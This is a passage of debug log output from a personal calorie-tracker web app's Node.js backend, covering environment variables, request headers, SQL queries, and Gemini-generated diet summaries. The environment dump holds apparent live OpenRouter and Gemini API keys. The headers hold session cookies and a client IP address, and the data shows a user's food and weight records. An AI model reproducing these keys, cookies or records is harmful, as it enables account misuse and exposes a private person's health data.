    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-18T17:19:41.895Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Ar47MwRV3mUib8EQdEt8gjA%3D%3D.BDZiwnA12RUBZslNv%2Ff4dwbU3Ld0JRNclqJ76GEI1MxqQ%2F2sUNaNoURHhjV276z7%2FIuCXxW9zlbgz2DnDG8NR590nEy8GemeqiP5Eq2lvMo57ljx3rGxZRIrZbw%2FN7iFEU2BxinMm%2Bc%2FQNE2f%2FMTy47xPSTYf2%2FiJ0rIic%2FE4ZM%3D.TPquQylfiAaucEwq9fXVxsrmr%2BmPf44ivz1Kp8ohiXQ; your_r_git.sid=s%3A9L14IQ4MVXi2-42CjAklSrbA6iRg-K5N.ro4wg3IpPfP%2F6KDePkhyNvAIRrPCo9Z7lojROFSgWNE',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-18T05:11:18.335Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T05:11:18.335Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T05:11:18.336Z server-connect:app Executing action step identify
2025-12-18T05:11:18.336Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:18.336Z server-connect:output identity: 1
2025-12-18T05:11:18.336Z server-connect:app Executing action step restrict
2025-12-18T05:11:18.336Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:11:18.336Z server-connect:app Executing action step identify
2025-12-18T05:11:18.336Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:18.336Z server-connect:output identity: 1
2025-12-18T05:11:18.336Z server-connect:app Executing action step restrict
2025-12-18T05:11:18.336Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:18.336Z server-connect:output restrict: undefined
2025-12-18T05:11:18.336Z server-connect:app Executing action step single
2025-12-18T05:11:18.336Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T05:11:18.337Z server-connect:output restrict: undefined
2025-12-18T05:11:18.337Z server-connect:app Executing action step single
2025-12-18T05:11:18.337Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T05:11:18.338Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "Today's intake appears to be quite limited, with a focus on a snack and a protein supplement. While the protein supplement is beneficial for muscle development, the overall meal composition lacks variety and essential nutrients. Consistent adherence to a balanced diet is crucial for achieving your goals.",
    bad_points: [
      'Limited food variety for the day.',
      'Lack of substantial meals to provide sustained energy.',
      'Potential for insufficient micronutrient intake due to restricted food choices.'
    ],
    good_points: [ 'Inclusion of whey protein to support muscle development.' ],
    suggestions: [
      'Incorporate a balanced breakfast with complex carbohydrates and protein.',
      'Add a source of healthy fats and fiber to your meals.',
      'Ensure adequate hydration throughout the day.',
      'Consider adding more whole foods like vegetables and fruits to your diet.'
    ],
    predicted_weight: 70.05,
    predicted_weight_trend: 'Slight downward trend with potential for stabilization.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T05:11:18.339Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T05:11:18.339Z server-connect:app Executing action step select
2025-12-18T05:11:18.339Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T05:11:18.341Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  },
  {
    id: 435,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Egg whites,Lean chicken breast',
    created_at: '2025-12-17T23:39:25.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
  }
]
2025-12-18T05:11:18.341Z server-connect:app Executing action step setvalue
2025-12-18T05:11:18.341Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T05:11:18.341Z server-connect:output var_total: 405
2025-12-18T05:11:18.342Z server-connect:app Executing action step setvalue
2025-12-18T05:11:18.342Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T05:11:18.342Z server-connect:output var_consumed: 17
2025-12-18T05:11:18.342Z server-connect:app Executing action step setvalue
2025-12-18T05:11:18.342Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T05:11:18.342Z server-connect:output var_deficit: 1995
2025-12-18T05:11:18.342Z server-connect:app Executing action step custom
2025-12-18T05:11:18.342Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T05:11:18.343Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '405',
    surplus_or_deficit: '1995',
    status_flag: 2
  }
]
2025-12-18T05:11:18.968Z server-connect:app Executing action step identify
2025-12-18T05:11:18.968Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:18.968Z server-connect:output identity: 1
2025-12-18T05:11:20.012Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-18T05:11:20.013Z server-connect:app Executing action step identify
2025-12-18T05:11:20.013Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:20.013Z server-connect:output identity: 1
2025-12-18T05:11:20.013Z server-connect:app Executing action step restrict
2025-12-18T05:11:20.013Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T05:11:20.013Z server-connect:output restrict: undefined
2025-12-18T05:11:20.014Z server-connect:app Executing action step select
2025-12-18T05:11:20.014Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-18T05:11:20.015Z server-connect:output items_consumed_today: [
  {
    id: 433,
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)'
  },
  {
    id: 434,
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)'
  },
  {
    id: 435,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  }
]
2025-12-18T05:11:20.015Z server-connect:app Executing action step paged
2025-12-18T05:11:20.015Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-18T05:11:20.016Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 14,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-18T05:11:20.016Z server-connect:app Executing action step run
2025-12-18T05:11:20.016Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T05:11:20.017Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '\n'
2025-12-18T05:11:20.018Z server-connect:app Executing action step run
2025-12-18T05:11:20.018Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-18T05:11:20.018Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T05:11:20.018Z server-connect:app Executing action step setvalue
2025-12-18T05:11:20.018Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-18T05:11:20.019Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 433 | Aloo Matar Mix Snack (Googhri) | 225 | 5 | 30 | 11 | 1 katori (approx. 150g) |\n' +
  '| 434 | Milk Tea | 60 | 4 | 6 | 2 | 0.5 cup (approx 120ml) |\n' +
  '| 435 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-18T05:11:20.019Z server-connect:app Executing action step processWithGemini
2025-12-18T05:11:20.019Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-18T05:11:21.946Z server-connect:output health_summary: {
  summary: "Today's food intake appears to be quite limited, focusing primarily on a snack and a protein supplement. While the protein supplement is beneficial for muscle development, the overall meal composition lacks variety and essential nutrients. Consistent early morning gym sessions are a positive for your goals. The recent weight trend shows some fluctuation but a general downward movement.",
  rating: 4,
  good_points: [
    'Consistent gym attendance is commendable.',
    'Inclusion of whey protein supports muscle development.'
  ],
  bad_points: [
    'Very limited food variety for the day.',
    'Lack of substantial meals to support energy levels and recovery.',
    'The snack composition may not be ideal for balanced nutrition.',
    'Insufficient intake of fiber and micronutrients.'
  ],
  suggestions: [
    'Incorporate more whole foods like vegetables, fruits, and lean proteins throughout the day.',
    'Ensure meals are balanced with complex carbohydrates and healthy fats.',
    'Consider adding a more substantial breakfast and lunch.',
    'Increase fluid intake.'
  ],
  predicted_weight_trend: 'Slight downward movement',
  predicted_weight: 70.1
}
2025-12-18T05:11:21.946Z server-connect:app Executing action step condition
2025-12-18T05:11:21.946Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-18T05:11:21.947Z server-connect:app Executing action step delete
2025-12-18T05:11:21.947Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-18T05:11:21.947Z server-connect:output delete: { affected: 1 }
2025-12-18T05:11:21.948Z server-connect:app Executing action step insert
2025-12-18T05:11:21.948Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-18T05:11:21.948Z server-connect:output insert: { affected: 1, identity: 33 }
2025-12-18T05:11:21.948Z server-connect:output condition: undefined
2025-12-18T05:11:22.281Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T05:11:22.282Z server-connect:app Executing action step identify
2025-12-18T05:11:22.282Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:22.282Z server-connect:output identity: 1
2025-12-18T05:11:22.282Z server-connect:app Executing action step restrict
2025-12-18T05:11:22.282Z server-connect:app options: { provider: 'security' }
2025-12-18T05:11:22.282Z server-connect:output restrict: undefined
2025-12-18T05:11:22.282Z server-connect:app Executing action step single
2025-12-18T05:11:22.282Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T05:11:22.283Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "Today's food intake appears to be quite limited, focusing primarily on a snack and a protein supplement. While the protein supplement is beneficial for muscle development, the overall meal composition lacks variety and essential nutrients. Consistent early morning gym sessions are a positive for your goals. The recent weight trend shows some fluctuation but a general downward movement.",
    bad_points: [
      'Very limited food variety for the day.',
      'Lack of substantial meals to support energy levels and recovery.',
      'The snack composition may not be ideal for balanced nutrition.',
      'Insufficient intake of fiber and micronutrients.'
    ],
    good_points: [
      'Consistent gym attendance is commendable.',
      'Inclusion of whey protein supports muscle development.'
    ],
    suggestions: [
      'Incorporate more whole foods like vegetables, fruits, and lean proteins throughout the day.',
      'Ensure meals are balanced with complex carbohydrates and healthy fats.',
      'Consider adding a more substantial breakfast and lunch.',
      'Increase fluid intake.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'Slight downward movement'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T05:13:01.324Z server-connect:output calculate_calorie: {
  items: [
    {
